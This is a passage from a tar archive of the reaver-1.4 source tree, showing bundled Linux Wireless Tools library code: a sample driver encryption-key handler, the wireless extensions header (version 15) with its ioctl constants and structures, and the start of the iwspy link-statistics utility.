channel %d\n", get_iface(), channel); /* Set frequency */ if(iw_set_ext(skfd, get_iface(), SIOCSIWFREQ, &wrq) >= 0) { set_channel(channel); ret_val = 1; } iw_sockets_close(skfd); } return ret_val; } reaver-1.4/src/lwe/0000755000175000017500000000000011705505257013561 5ustar reaverreaverreaver-1.4/src/lwe/sample_enc.c0000755000175000017500000001041211705505256016033 0ustar reaverreaver/* Note : this particular snipset of code is available under * the LGPL, MPL or BSD license (at your choice). * Jean II */ /* --------------------------- INCLUDE --------------------------- */ #define MAX_KEY_SIZE 16 #define MAX_KEYS 8 int key_on = 0; int key_open = 1; int key_current = 0; char key_table[MAX_KEYS][MAX_KEY_SIZE]; int key_size[MAX_KEYS]; /* --------------------------- HANDLERS --------------------------- */ static int ioctl_set_encode(struct net_device *dev, struct iw_request_info *info, struct iw_point *erq, char *key) { int index = (erq->flags & IW_ENCODE_INDEX) - 1; if (erq->length > 0) { /* Check the size of the key */ if(erq->length > MAX_KEY_SIZE) return(-EINVAL); /* Check the index */ if((index < 0) || (index >= MAX_KEYS)) index = key_current; /* Copy the key in the driver */ memcpy(key_table[index], key, erq->length); key_size[index] = erq->length; key_on = 1; } else { /* Do we want to just set the current key ? */ if((index >= 0) && (index < MAX_KEYS)) { if(key_size[index] > 0) { key_current = index; key_on = 1; } else return(-EINVAL); } } /* Read the flags */ if(erq->flags & IW_ENCODE_DISABLED) key_on = 0; /* disable encryption */ if(erq->flags & IW_ENCODE_RESTRICTED) key_open = 0; /* disable open mode */ if(erq->flags & IW_ENCODE_OPEN) key_open = 1; /* enable open mode */ return(0); } static int ioctl_get_encode(struct net_device *dev, struct iw_request_info *info, struct iw_point *erq, char *key) { int index = (erq->flags & IW_ENCODE_INDEX) - 1; /* Set the flags */ erq->flags = 0; if(key_on == 0) erq->flags |= IW_ENCODE_DISABLED; if(key_open == 0) erq->flags |= IW_ENCODE_RESTRICTED; else erq->flags |= IW_ENCODE_OPEN; /* Which key do we want */ if((index < 0) || (index >= MAX_KEYS)) index = key_current; erq->flags |= index + 1; /* Copy the key to the user buffer */ erq->length = key_size[index]; memcpy(key, key_table[index], key_size[index]); return(0); } static int ioctl_get_range(struct net_device *dev, struct iw_request_info *info, struct iw_point *rrq, char *extra) { struct iw_range *range = (struct iw_range *) extra; rrq->length = sizeof(struct iw_range); memset(range, 0, sizeof(struct iw_range)); #if WIRELESS_EXT > 10 /* Version we are compiled with */ range->we_version_compiled = WIRELESS_EXT; /* Minimum version we recommend */ range->we_version_source = 8; #endif /* WIRELESS_EXT > 10 */ #if WIRELESS_EXT > 8 range->encoding_size[0] = 8; /* DES = 64 bits key */ range->encoding_size[1] = 16; range->num_encoding_sizes = 2; range->max_encoding_tokens = 8; #endif /* WIRELESS_EXT > 8 */ return(0); } /* --------------------------- BINDING --------------------------- */ #if WIRELESS_EXT > 12 static const iw_handler handler_table[] = { ... (iw_handler) ioctl_set_encode, /* SIOCSIWENCODE */ (iw_handler) ioctl_get_encode, /* SIOCGIWENCODE */ }; #else /* WIRELESS_EXT < 12 */ static int do_ioctl(struct net_device *dev, struct ifreq *ifr, int cmd) { struct iwreq *wrq = (struct iwreq *) ifr; int err = 0; switch (cmd) { #if WIRELESS_EXT > 8 case SIOCSIWENCODE: { char keybuf[MAX_KEY_SIZE]; if(wrq->u.encoding.pointer) { /* We actually have a key to set */ if(wrq->u.encoding.length > MAX_KEY_SIZE) { err = -E2BIG; break; } if(copy_from_user(keybuf, wrq->u.encoding.pointer, wrq->u.encoding.length)) { err = -EFAULT; break; } } else if(wrq->u.encoding.length != 0) { err = -EINVAL; break; } err = ioctl_set_encode(dev, NULL, &(wrq->u.encoding), keybuf); } break; case SIOCGIWENCODE: /* only super-user can see encryption key */ if(! capable(CAP_NET_ADMIN)) { err = -EPERM; break; } { char keybuf[MAX_KEY_SIZE]; err = ioctl_get_encode(dev, NULL, &(wrq->u.encoding), keybuf); if(wrq->u.encoding.pointer) { if (copy_to_user(wrq->u.encoding.pointer, keybuf, wrq->u.encoding.length)) err= -EFAULT; } } break; #endif /* WIRELESS_EXT > 8 */ } return(err); } #endif /* WIRELESS_EXT < 12 */ reaver-1.4/src/lwe/wireless.15.h0000755000175000017500000006266111705505256016030 0ustar reaverreaver/* * This file define a set of standard wireless extensions * * Version : 15 12.7.02 * * Authors : Jean Tourrilhes - HPL - * Copyright (c) 1997-2002 Jean Tourrilhes, All Rights Reserved. */ #ifndef _LINUX_WIRELESS_H #define _LINUX_WIRELESS_H /************************** DOCUMENTATION **************************/ /* * Initial APIs (1996 -> onward) : * ----------------------------- * Basically, the wireless extensions are for now a set of standard ioctl * call + /proc/net/wireless * * The entry /proc/net/wireless give statistics and information on the * driver. * This is better than having each driver having its entry because * its centralised and we may remove the driver module safely. * * Ioctl are used to configure the driver and issue commands. This is * better than command line options of insmod because we may want to * change dynamically (while the driver is running) some parameters. * * The ioctl mechanimsm are copied from standard devices ioctl. * We have the list of command plus a structure descibing the * data exchanged... * Note that to add these ioctl, I was obliged to modify : * # net/core/dev.c (two place + add include) * # net/ipv4/af_inet.c (one place + add include) * * /proc/net/wireless is a copy of /proc/net/dev. * We have a structure for data passed from the driver to /proc/net/wireless * Too add this, I've modified : * # net/core/dev.c (two other places) * # include/linux/netdevice.h (one place) * # include/linux/proc_fs.h (one place) * * New driver API (2002 -> onward) : * ------------------------------- * This file is only concerned with the user space API and common definitions. * The new driver API is defined and documented in : * # include/net/iw_handler.h * * Note as well that /proc/net/wireless implementation has now moved in : * # include/linux/wireless.c * * Wireless Events (2002 -> onward) : * -------------------------------- * Events are defined at the end of this file, and implemented in : * # include/linux/wireless.c * * Other comments : * -------------- * Do not add here things that are redundant with other mechanisms * (drivers init, ifconfig, /proc/net/dev, ...) and with are not * wireless specific. * * These wireless extensions are not magic : each driver has to provide * support for them... * * IMPORTANT NOTE : As everything in the kernel, this is very much a * work in progress. Contact me if you have ideas of improvements... */ /***************************** INCLUDES *****************************/ #include /* for "caddr_t" et al */ #include /* for "struct sockaddr" et al */ #include /* for IFNAMSIZ and co... */ /***************************** VERSION *****************************/ /* * This constant is used to know the availability of the wireless * extensions and to know which version of wireless extensions it is * (there is some stuff that will be added in the future...) * I just plan to increment with each new version. */ #define WIRELESS_EXT 15 /* * Changes : * * V2 to V3 * -------- * Alan Cox start some incompatibles changes. I've integrated a bit more. * - Encryption renamed to Encode to avoid US regulation problems * - Frequency changed from float to struct to avoid problems on old 386 * * V3 to V4 * -------- * - Add sensitivity * * V4 to V5 * -------- * - Missing encoding definitions in range * - Access points stuff * * V5 to V6 * -------- * - 802.11 support (ESSID ioctls) * * V6 to V7 * -------- * - define IW_ESSID_MAX_SIZE and IW_MAX_AP * * V7 to V8 * -------- * - Changed my e-mail address * - More 802.11 support (nickname, rate, rts, frag) * - List index in frequencies * * V8 to V9 * -------- * - Support for 'mode of operation' (ad-hoc, managed...) * - Support for unicast and multicast power saving * - Change encoding to support larger tokens (>64 bits) * - Updated iw_params (disable, flags) and use it for NWID * - Extracted iw_point from iwreq for clarity * * V9 to V10 * --------- * - Add PM capability to range structure * - Add PM modifier : MAX/MIN/RELATIVE * - Add encoding option : IW_ENCODE_NOKEY * - Add TxPower ioctls (work like TxRate) * * V10 to V11 * ---------- * - Add WE version in range (help backward/forward compatibility) * - Add retry ioctls (work like PM) * * V11 to V12 * ---------- * - Add SIOCSIWSTATS to get /proc/net/wireless programatically * - Add DEV PRIVATE IOCTL to avoid collisions in SIOCDEVPRIVATE space * - Add new statistics (frag, retry, beacon) * - Add average quality (for user space calibration) * * V12 to V13 * ---------- * - Document creation of new driver API. * - Extract union iwreq_data from struct iwreq (for new driver API). * - Rename SIOCSIWNAME as SIOCSIWCOMMIT * * V13 to V14 * ---------- * - Wireless Events support : define struct iw_event * - Define additional specific event numbers * - Add "addr" and "param" fields in union iwreq_data * - AP scanning stuff (SIOCSIWSCAN and friends) * * V14 to V15 * ---------- * - Add IW_PRIV_TYPE_ADDR for struct sockaddr private arg * - Make struct iw_freq signed (both m & e), add explicit padding * - Add IWEVCUSTOM for driver specific event/scanning token * - Add IW_MAX_GET_SPY for driver returning a lot of addresses * - Add IW_TXPOW_RANGE for range of Tx Powers * - Add IWEVREGISTERED & IWEVEXPIRED events for Access Points * - Add IW_MODE_MONITOR for passive monitor */ /**************************** CONSTANTS ****************************/ /* -------------------------- IOCTL LIST -------------------------- */ /* Wireless Identification */ #define SIOCSIWCOMMIT 0x8B00 /* Commit pending changes to driver */ #define SIOCGIWNAME 0x8B01 /* get name == wireless protocol */ /* SIOCGIWNAME is used to verify the presence of Wireless Extensions. * Common values : "IEEE 802.11-DS", "IEEE 802.11-FH", "IEEE 802.11b"... * Don't put the name of your driver there, it's useless. */ /* Basic operations */ #define SIOCSIWNWID 0x8B02 /* set network id (pre-802.11) */ #define SIOCGIWNWID 0x8B03 /* get network id (the cell) */ #define SIOCSIWFREQ 0x8B04 /* set channel/frequency (Hz) */ #define SIOCGIWFREQ 0x8B05 /* get channel/frequency (Hz) */ #define SIOCSIWMODE 0x8B06 /* set operation mode */ #define SIOCGIWMODE 0x8B07 /* get operation mode */ #define SIOCSIWSENS 0x8B08 /* set sensitivity (dBm) */ #define SIOCGIWSENS 0x8B09 /* get sensitivity (dBm) */ /* Informative stuff */ #define SIOCSIWRANGE 0x8B0A /* Unused */ #define SIOCGIWRANGE 0x8B0B /* Get range of parameters */ #define SIOCSIWPRIV 0x8B0C /* Unused */ #define SIOCGIWPRIV 0x8B0D /* get private ioctl interface info */ #define SIOCSIWSTATS 0x8B0E /* Unused */ #define SIOCGIWSTATS 0x8B0F /* Get /proc/net/wireless stats */ /* SIOCGIWSTATS is strictly used between user space and the kernel, and * is never passed to the driver (i.e. the driver will never see it). */ /* Mobile IP support (statistics per MAC address) */ #define SIOCSIWSPY 0x8B10 /* set spy addresses */ #define SIOCGIWSPY 0x8B11 /* get spy info (quality of link) */ /* Access Point manipulation */ #define SIOCSIWAP 0x8B14 /* set access point MAC addresses */ #define SIOCGIWAP 0x8B15 /* get access point MAC addresses */ #define SIOCGIWAPLIST 0x8B17 /* Deprecated in favor of scanning */ #define SIOCSIWSCAN 0x8B18 /* trigger scanning (list cells) */ #define SIOCGIWSCAN 0x8B19 /* get scanning results */ /* 802.11 specific support */ #define SIOCSIWESSID 0x8B1A /* set ESSID (network name) */ #define SIOCGIWESSID 0x8B1B /* get ESSID */ #define SIOCSIWNICKN 0x8B1C /* set node name/nickname */ #define SIOCGIWNICKN 0x8B1D /* get node name/nickname */ /* As the ESSID and NICKN are strings up to 32 bytes long, it doesn't fit * within the 'iwreq' structure, so we need to use the 'data' member to * point to a string in user space, like it is done for RANGE... */ /* Other parameters useful in 802.11 and some other devices */ #define SIOCSIWRATE 0x8B20 /* set default bit rate (bps) */ #define SIOCGIWRATE 0x8B21 /* get default bit rate (bps) */ #define SIOCSIWRTS 0x8B22 /* set RTS/CTS threshold (bytes) */ #define SIOCGIWRTS 0x8B23 /* get RTS/CTS threshold (bytes) */ #define SIOCSIWFRAG 0x8B24 /* set fragmentation thr (bytes) */ #define SIOCGIWFRAG 0x8B25 /* get fragmentation thr (bytes) */ #define SIOCSIWTXPOW 0x8B26 /* set transmit power (dBm) */ #define SIOCGIWTXPOW 0x8B27 /* get transmit power (dBm) */ #define SIOCSIWRETRY 0x8B28 /* set retry limits and lifetime */ #define SIOCGIWRETRY 0x8B29 /* get retry limits and lifetime */ /* Encoding stuff (scrambling, hardware security, WEP...) */ #define SIOCSIWENCODE 0x8B2A /* set encoding token & mode */ #define SIOCGIWENCODE 0x8B2B /* get encoding token & mode */ /* Power saving stuff (power management, unicast and multicast) */ #define SIOCSIWPOWER 0x8B2C /* set Power Management settings */ #define SIOCGIWPOWER 0x8B2D /* get Power Management settings */ /* -------------------- DEV PRIVATE IOCTL LIST -------------------- */ /* These 16 ioctl are wireless device private. * Each driver is free to use them for whatever purpose it chooses, * however the driver *must* export the description of those ioctls * with SIOCGIWPRIV and *must* use arguments as defined below. * If you don't follow those rules, DaveM is going to hate you (reason : * it make mixed 32/64bit operation impossible). */ #define SIOCIWFIRSTPRIV 0x8BE0 #define SIOCIWLASTPRIV 0x8BFF /* Previously, we were using SIOCDEVPRIVATE, but we now have our * separate range because of collisions with other tools such as * 'mii-tool'. * We now have 32 commands, so a bit more space ;-). * Also, all 'odd' commands are only usable by root and don't return the * content of ifr/iwr to user (but you are not obliged to use the set/get * convention, just use every other two command). * And I repeat : you are not obliged to use them with iwspy, but you * must be compliant with it. */ /* ------------------------- IOCTL STUFF ------------------------- */ /* The first and the last (range) */ #define SIOCIWFIRST 0x8B00 #define SIOCIWLAST SIOCIWLASTPRIV /* 0x8BFF */ /* Even : get (world access), odd : set (root access) */ #define IW_IS_SET(cmd) (!((cmd) & 0x1)) #define IW_IS_GET(cmd) ((cmd) & 0x1) /* ----------------------- WIRELESS EVENTS ----------------------- */ /* Those are *NOT* ioctls, do not issue request on them !!! */ /* Most events use the same identifier as ioctl requests */ #define IWEVTXDROP 0x8C00 /* Packet dropped to excessive retry */ #define IWEVQUAL 0x8C01 /* Quality part of statistics (scan) */ #define IWEVCUSTOM 0x8C02 /* Driver specific ascii string */ #define IWEVREGISTERED 0x8C03 /* Discovered a new node (AP mode) */ #define IWEVEXPIRED 0x8C04 /* Expired a node (AP mode) */ #define IWEVFIRST 0x8C00 /* ------------------------- PRIVATE INFO ------------------------- */ /* * The following is used with SIOCGIWPRIV. It allow a driver to define * the interface (name, type of data) for its private ioctl. * Privates ioctl are SIOCIWFIRSTPRIV -> SIOCIWLASTPRIV */ #define IW_PRIV_TYPE_MASK 0x7000 /* Type of arguments */ #define IW_PRIV_TYPE_NONE 0x0000 #define IW_PRIV_TYPE_BYTE 0x1000 /* Char as number */ #define IW_PRIV_TYPE_CHAR 0x2000 /* Char as character */ #define IW_PRIV_TYPE_INT 0x4000 /* 32 bits int */ #define IW_PRIV_TYPE_FLOAT 0x5000 /* struct iw_freq */ #define IW_PRIV_TYPE_ADDR 0x6000 /* struct sockaddr */ #define IW_PRIV_SIZE_FIXED 0x0800 /* Variable or fixed nuber of args */ #define IW_PRIV_SIZE_MASK 0x07FF /* Max number of those args */ /* * Note : if the number of args is fixed and the size < 16 octets, * instead of passing a pointer we will put args in the iwreq struct... */ /* ----------------------- OTHER CONSTANTS ----------------------- */ /* Maximum frequencies in the range struct */ #define IW_MAX_FREQUENCIES 16 /* Note : if you have something like 80 frequencies, * don't increase this constant and don't fill the frequency list. * The user will be able to set by channel anyway... */ /* Maximum bit rates in the range struct */ #define IW_MAX_BITRATES 8 /* Maximum tx powers in the range struct */ #define IW_MAX_TXPOWER 8 /* Note : if you more than 8 TXPowers, just set the max and min or * a few of them in the struct iw_range. */ /* Maximum of address that you may set with SPY */ #define IW_MAX_SPY 8 /* set */ #define IW_MAX_GET_SPY 64 /* get */ /* Maximum of address that you may get in the list of access points in range */ #define IW_MAX_AP 8 /* Maximum size of the ESSID and NICKN strings */ #define IW_ESSID_MAX_SIZE 32 /* Modes of operation */ #define IW_MODE_AUTO 0 /* Let the driver decides */ #define IW_MODE_ADHOC 1 /* Single cell network */ #define IW_MODE_INFRA 2 /* Multi cell network, roaming, ... */ #define IW_MODE_MASTER 3 /* Synchronisation master or Access Point */ #define IW_MODE_REPEAT 4 /* Wireless Repeater (forwarder) */ #define IW_MODE_SECOND 5 /* Secondary master/repeater (backup) */ #define IW_MODE_MONITOR 6 /* Passive monitor (listen only) */ /* Maximum number of size of encoding token available * they are listed in the range structure */ #define IW_MAX_ENCODING_SIZES 8 /* Maximum size of the encoding token in bytes */ #define IW_ENCODING_TOKEN_MAX 32 /* 256 bits (for now) */ /* Flags for encoding (along with the token) */ #define IW_ENCODE_INDEX 0x00FF /* Token index (if needed) */ #define IW_ENCODE_FLAGS 0xFF00 /* Flags defined below */ #define IW_ENCODE_MODE 0xF000 /* Modes defined below */ #define IW_ENCODE_DISABLED 0x8000 /* Encoding disabled */ #define IW_ENCODE_ENABLED 0x0000 /* Encoding enabled */ #define IW_ENCODE_RESTRICTED 0x4000 /* Refuse non-encoded packets */ #define IW_ENCODE_OPEN 0x2000 /* Accept non-encoded packets */ #define IW_ENCODE_NOKEY 0x0800 /* Key is write only, so not present */ /* Power management flags available (along with the value, if any) */ #define IW_POWER_ON 0x0000 /* No details... */ #define IW_POWER_TYPE 0xF000 /* Type of parameter */ #define IW_POWER_PERIOD 0x1000 /* Value is a period/duration of */ #define IW_POWER_TIMEOUT 0x2000 /* Value is a timeout (to go asleep) */ #define IW_POWER_MODE 0x0F00 /* Power Management mode */ #define IW_POWER_UNICAST_R 0x0100 /* Receive only unicast messages */ #define IW_POWER_MULTICAST_R 0x0200 /* Receive only multicast messages */ #define IW_POWER_ALL_R 0x0300 /* Receive all messages though PM */ #define IW_POWER_FORCE_S 0x0400 /* Force PM procedure for sending unicast */ #define IW_POWER_REPEATER 0x0800 /* Repeat broadcast messages in PM period */ #define IW_POWER_MODIFIER 0x000F /* Modify a parameter */ #define IW_POWER_MIN 0x0001 /* Value is a minimum */ #define IW_POWER_MAX 0x0002 /* Value is a maximum */ #define IW_POWER_RELATIVE 0x0004 /* Value is not in seconds/ms/us */ /* Transmit Power flags available */ #define IW_TXPOW_TYPE 0x00FF /* Type of value */ #define IW_TXPOW_DBM 0x0000 /* Value is in dBm */ #define IW_TXPOW_MWATT 0x0001 /* Value is in mW */ #define IW_TXPOW_RANGE 0x1000 /* Range of value between min/max */ /* Retry limits and lifetime flags available */ #define IW_RETRY_ON 0x0000 /* No details... */ #define IW_RETRY_TYPE 0xF000 /* Type of parameter */ #define IW_RETRY_LIMIT 0x1000 /* Maximum number of retries*/ #define IW_RETRY_LIFETIME 0x2000 /* Maximum duration of retries in us */ #define IW_RETRY_MODIFIER 0x000F /* Modify a parameter */ #define IW_RETRY_MIN 0x0001 /* Value is a minimum */ #define IW_RETRY_MAX 0x0002 /* Value is a maximum */ #define IW_RETRY_RELATIVE 0x0004 /* Value is not in seconds/ms/us */ /* Scanning request flags */ #define IW_SCAN_DEFAULT 0x0000 /* Default scan of the driver */ #define IW_SCAN_ALL_ESSID 0x0001 /* Scan all ESSIDs */ #define IW_SCAN_THIS_ESSID 0x0002 /* Scan only this ESSID */ #define IW_SCAN_ALL_FREQ 0x0004 /* Scan all Frequencies */ #define IW_SCAN_THIS_FREQ 0x0008 /* Scan only this Frequency */ #define IW_SCAN_ALL_MODE 0x0010 /* Scan all Modes */ #define IW_SCAN_THIS_MODE 0x0020 /* Scan only this Mode */ #define IW_SCAN_ALL_RATE 0x0040 /* Scan all Bit-Rates */ #define IW_SCAN_THIS_RATE 0x0080 /* Scan only this Bit-Rate */ /* Maximum size of returned data */ #define IW_SCAN_MAX_DATA 4096 /* In bytes */ /* Max number of char in custom event - use multiple of them if needed */ #define IW_CUSTOM_MAX 256 /* In bytes */ /****************************** TYPES ******************************/ /* --------------------------- SUBTYPES --------------------------- */ /* * Generic format for most parameters that fit in an int */ struct iw_param { __s32 value; /* The value of the parameter itself */ __u8 fixed; /* Hardware should not use auto select */ __u8 disabled; /* Disable the feature */ __u16 flags; /* Various specifc flags (if any) */ }; /* * For all data larger than 16 octets, we need to use a * pointer to memory allocated in user space. */ struct iw_point { caddr_t pointer; /* Pointer to the data (in user space) */ __u16 length; /* number of fields or size in bytes */ __u16 flags; /* Optional params */ }; /* * A frequency * For numbers lower than 10^9, we encode the number in 'm' and * set 'e' to 0 * For number greater than 10^9, we divide it by the lowest power * of 10 to get 'm' lower than 10^9, with 'm'= f / (10^'e')... * The power of 10 is in 'e', the result of the division is in 'm'. */ struct iw_freq { __s32 m; /* Mantissa */ __s16 e; /* Exponent */ __u8 i; /* List index (when in range struct) */ __u8 pad; /* Unused - just for alignement */ }; /* * Quality of the link */ struct iw_quality { __u8 qual; /* link quality (%retries, SNR, %missed beacons or better...) */ __u8 level; /* signal level (dBm) */ __u8 noise; /* noise level (dBm) */ __u8 updated; /* Flags to know if updated */ }; /* * Packet discarded in the wireless adapter due to * "wireless" specific problems... * Note : the list of counter and statistics in net_device_stats * is already pretty exhaustive, and you should use that first. * This is only additional stats... */ struct iw_discarded { __u32 nwid; /* Rx : Wrong nwid/essid */ __u32 code; /* Rx : Unable to code/decode (WEP) */ __u32 fragment; /* Rx : Can't perform MAC reassembly */ __u32 retries; /* Tx : Max MAC retries num reached */ __u32 misc; /* Others cases */ }; /* * Packet/Time period missed in the wireless adapter due to * "wireless" specific problems... */ struct iw_missed { __u32 beacon; /* Missed beacons/superframe */ }; /* ------------------------ WIRELESS STATS ------------------------ */ /* * Wireless statistics (used for /proc/net/wireless) */ struct iw_statistics { __u16 status; /* Status * - device dependent for now */ struct iw_quality qual; /* Quality of the link * (instant/mean/max) */ struct iw_discarded discard; /* Packet discarded counts */ struct iw_missed miss; /* Packet missed counts */ }; /* ------------------------ IOCTL REQUEST ------------------------ */ /* * This structure defines the payload of an ioctl, and is used * below. * * Note that this structure should fit on the memory footprint * of iwreq (which is the same as ifreq), which mean a max size of * 16 octets = 128 bits. Warning, pointers might be 64 bits wide... * You should check this when increasing the structures defined * above in this file... */ union iwreq_data { /* Config - generic */ char name[IFNAMSIZ]; /* Name : used to verify the presence of wireless extensions. * Name of the protocol/provider... */ struct iw_point essid; /* Extended network name */ struct iw_param nwid; /* network id (or domain - the cell) */ struct iw_freq freq; /* frequency or channel : * 0-1000 = channel * > 1000 = frequency in Hz */ struct iw_param sens; /* signal level threshold */ struct iw_param bitrate; /* default bit rate */ struct iw_param txpower; /* default transmit power */ struct iw_param rts; /* RTS threshold threshold */ struct iw_param frag; /* Fragmentation threshold */ __u32 mode; /* Operation mode */ struct iw_param retry; /* Retry limits & lifetime */ struct iw_point encoding; /* Encoding stuff : tokens */ struct iw_param power; /* PM duration/timeout */ struct iw_quality qual; /* Quality part of statistics */ struct sockaddr ap_addr; /* Access point address */ struct sockaddr addr; /* Destination address (hw) */ struct iw_param param; /* Other small parameters */ struct iw_point data; /* Other large parameters */ }; /* * The structure to exchange data for ioctl. * This structure is the same as 'struct ifreq', but (re)defined for * convenience... * Do I need to remind you about structure size (32 octets) ? */ struct iwreq { union { char ifrn_name[IFNAMSIZ]; /* if name, e.g. "eth0" */ } ifr_ifrn; /* Data part (defined just above) */ union iwreq_data u; }; /* -------------------------- IOCTL DATA -------------------------- */ /* * For those ioctl which want to exchange mode data that what could * fit in the above structure... */ /* * Range of parameters */ struct iw_range { /* Informative stuff (to choose between different interface) */ __u32 throughput; /* To give an idea... */ /* In theory this value should be the maximum benchmarked * TCP/IP throughput, because with most of these devices the * bit rate is meaningless (overhead an co) to estimate how * fast the connection will go and pick the fastest one. * I suggest people to play with Netperf or any benchmark... */ /* NWID (or domain id) */ __u32 min_nwid; /* Minimal NWID we are able to set */ __u32 max_nwid; /* Maximal NWID we are able to set */ /* Frequency */ __u16 num_channels; /* Number of channels [0; num - 1] */ __u8 num_frequency; /* Number of entry in the list */ struct iw_freq freq[IW_MAX_FREQUENCIES]; /* list */ /* Note : this frequency list doesn't need to fit channel numbers */ /* signal level threshold range */ __s32 sensitivity; /* Quality of link & SNR stuff */ struct iw_quality max_qual; /* Quality of the link */ /* Rates */ __u8 num_bitrates; /* Number of entries in the list */ __s32 bitrate[IW_MAX_BITRATES]; /* list, in bps */ /* RTS threshold */ __s32 min_rts; /* Minimal RTS threshold */ __s32 max_rts; /* Maximal RTS threshold */ /* Frag threshold */ __s32 min_frag; /* Minimal frag threshold */ __s32 max_frag; /* Maximal frag threshold */ /* Power Management duration & timeout */ __s32 min_pmp; /* Minimal PM period */ __s32 max_pmp; /* Maximal PM period */ __s32 min_pmt; /* Minimal PM timeout */ __s32 max_pmt; /* Maximal PM timeout */ __u16 pmp_flags; /* How to decode max/min PM period */ __u16 pmt_flags; /* How to decode max/min PM timeout */ __u16 pm_capa; /* What PM options are supported */ /* Encoder stuff */ __u16 encoding_size[IW_MAX_ENCODING_SIZES]; /* Different token sizes */ __u8 num_encoding_sizes; /* Number of entry in the list */ __u8 max_encoding_tokens; /* Max number of tokens */ /* Transmit power */ __u16 txpower_capa; /* What options are supported */ __u8 num_txpower; /* Number of entries in the list */ __s32 txpower[IW_MAX_TXPOWER]; /* list, in bps */ /* Wireless Extension version info */ __u8 we_version_compiled; /* Must be WIRELESS_EXT */ __u8 we_version_source; /* Last update of source */ /* Retry limits and lifetime */ __u16 retry_capa; /* What retry options are supported */ __u16 retry_flags; /* How to decode max/min retry limit */ __u16 r_time_flags; /* How to decode max/min retry life */ __s32 min_retry; /* Minimal number of retries */ __s32 max_retry; /* Maximal number of retries */ __s32 min_r_time; /* Minimal retry lifetime */ __s32 max_r_time; /* Maximal retry lifetime */ /* Average quality of link & SNR */ struct iw_quality avg_qual; /* Quality of the link */ /* This should contain the average/typical values of the quality * indicator. This should be the threshold between a "good" and * a "bad" link (example : monitor going from green to orange). * Currently, user space apps like quality monitors don't have any * way to calibrate the measurement. With this, they can split * the range between 0 and max_qual in different quality level * (using a geometric subdivision centered on the average). * I expect that people doing the user space apps will feedback * us on which value we need to put in each driver... */ }; /* * Private ioctl interface information */ struct iw_priv_args { __u32 cmd; /* Number of the ioctl to issue */ __u16 set_args; /* Type and number of args */ __u16 get_args; /* Type and number of args */ char name[IFNAMSIZ]; /* Name of the extension */ }; /* ----------------------- WIRELESS EVENTS ----------------------- */ /* * Wireless events are carried through the rtnetlink socket to user * space. They are encapsulated in the IFLA_WIRELESS field of * a RTM_NEWLINK message. */ /* * A Wireless Event. Contains basically the same data as the ioctl... */ struct iw_event { __u16 len; /* Real lenght of this stuff */ __u16 cmd; /* Wireless IOCTL */ union iwreq_data u; /* IOCTL fixed payload */ }; /* Size of the Event prefix (including padding and alignement junk) */ #define IW_EV_LCP_LEN (sizeof(struct iw_event) - sizeof(union iwreq_data)) /* Size of the various events */ #define IW_EV_CHAR_LEN (IW_EV_LCP_LEN + IFNAMSIZ) #define IW_EV_UINT_LEN (IW_EV_LCP_LEN + sizeof(__u32)) #define IW_EV_FREQ_LEN (IW_EV_LCP_LEN + sizeof(struct iw_freq)) #define IW_EV_POINT_LEN (IW_EV_LCP_LEN + sizeof(struct iw_point)) #define IW_EV_PARAM_LEN (IW_EV_LCP_LEN + sizeof(struct iw_param)) #define IW_EV_ADDR_LEN (IW_EV_LCP_LEN + sizeof(struct sockaddr)) #define IW_EV_QUAL_LEN (IW_EV_LCP_LEN + sizeof(struct iw_quality)) /* Note : in the case of iw_point, the extra data will come at the * end of the event */ #endif /* _LINUX_WIRELESS_H */ reaver-1.4/src/lwe/iwspy.c0000755000175000017500000002374411705505256015114 0ustar reaverreaver/* * Wireless Tools * * Jean II - HPLB '99 - HPL 99->04 * * This tool can manipulate the spy list : add addresses and display stat * You need to link this code against "iwlib.c" and "-lm". * * This file is released under the GPL license. * Copyright (c) 1997-2004 Jean Tourrilhes */ #include "iwlib.h" /* Header */ /************************* DISPLAY ROUTINES **************************/ /*------------------------------------------------------------------*/ /* * Display the spy list of addresses and the associated stats */ static int print_spy_info(int skfd, char * ifname, char * args[], int count) { struct iwreq wrq; char buffer[(sizeof(struct iw_quality) + sizeof(struct sockaddr)) * IW_MAX_SPY]; char temp[128]; struct sockaddr * hwa; struct iw_quality * qual; iwrange range; int has_range = 0; int n; int i; /* Avoid "Unused parameter" warning */ args = args; count = count; /* Collect stats */ wrq.u.data.pointer = (caddr_t) buffer; wrq.u.data.length = IW_MAX_SPY; wrq.u.data.flags = 0; if(iw_get_ext(skfd, ifname, SIOCGIWSPY, &wrq) < 0) { fprintf(stderr, "%-8.16s Interface doesn't support wireless statistic collection\n\n", ifname); return(-1); } /* Number of addresses */ n = wrq.u.data.length; /* Check if we have valid mac address type */ if(iw_check_mac_addr_type(skfd, ifname) < 0) { fprintf(stderr, "%-8.16s Interface doesn't support MAC addresses\n\n", ifname); return(-2); } /* Get range info if we can */ if(iw_get_range_info(skfd, ifname, &(range)) >= 0) has_range = 1; /* Display it */ if(n == 0) printf("%-8.16s No statistics to collect\n", ifname); else printf("%-8.16s Statistics collected:\n", ifname); /* The two lists */ hwa = (struct sockaddr *) buffer; qual = (struct iw_quality *) (buffer + (sizeof(struct sockaddr) * n)); for(i = 0; i < n; i++) { /* Print stats for each address */ printf(" %s : ", iw_saether_ntop(&hwa[i], temp)); iw_print_stats(temp, sizeof(temp), &qual[i], &range, has_range); printf("%s\n", temp); } if((n > 0) && (has_range) && (range.we_version_compiled > 11)) { iwstats stats; /* Get /proc/net/wireless */ if(iw_get_stats(skfd, ifname, &stats, &range, has_range) >= 0) { iw_print_stats(temp, sizeof(temp), &stats.qual, &range, has_range); printf(" Link/Cell/AP : %s\n", temp); /* Display the static data */ iw_print_stats(temp, sizeof(temp), &range.avg_qual, &range, has_range); printf(" Typical/Reference : %s\n", temp); } } printf("\n"); return(0); } /*------------------------------------------------------------------*/ /* * Get spy thresholds from the driver and display */ static int get_spy_threshold(int skfd, /* The socket */ char * ifname, /* Dev name */ char * args[], /* Command line args */ int count) /* Args count */ { struct iwreq wrq; struct iw_thrspy threshold; iwrange range; int has_range = 0; /* Avoid "Unused parameter" warning */ args = args; count = count; /* Time to send thresholds to the driver */ wrq.u.data.pointer = (caddr_t) &threshold; wrq.u.data.length = 1; wrq.u.data.flags = 0; if(iw_set_ext(skfd, ifname, SIOCGIWTHRSPY, &wrq) < 0) { fprintf(stderr, "Interface doesn't support thresholds...\n"); fprintf(stderr, "SIOCGIWTHRSPY: %s\n", strerror(errno)); return(-1); } /* Get range info if we can */ if(iw_get_range_info(skfd, ifname, &(range)) >= 0) has_range = 1; /* Display thresholds */ if((has_range) && (threshold.low.level)) { /* If the statistics are in dBm */ if(threshold.low.level > range.max_qual.level) { /* 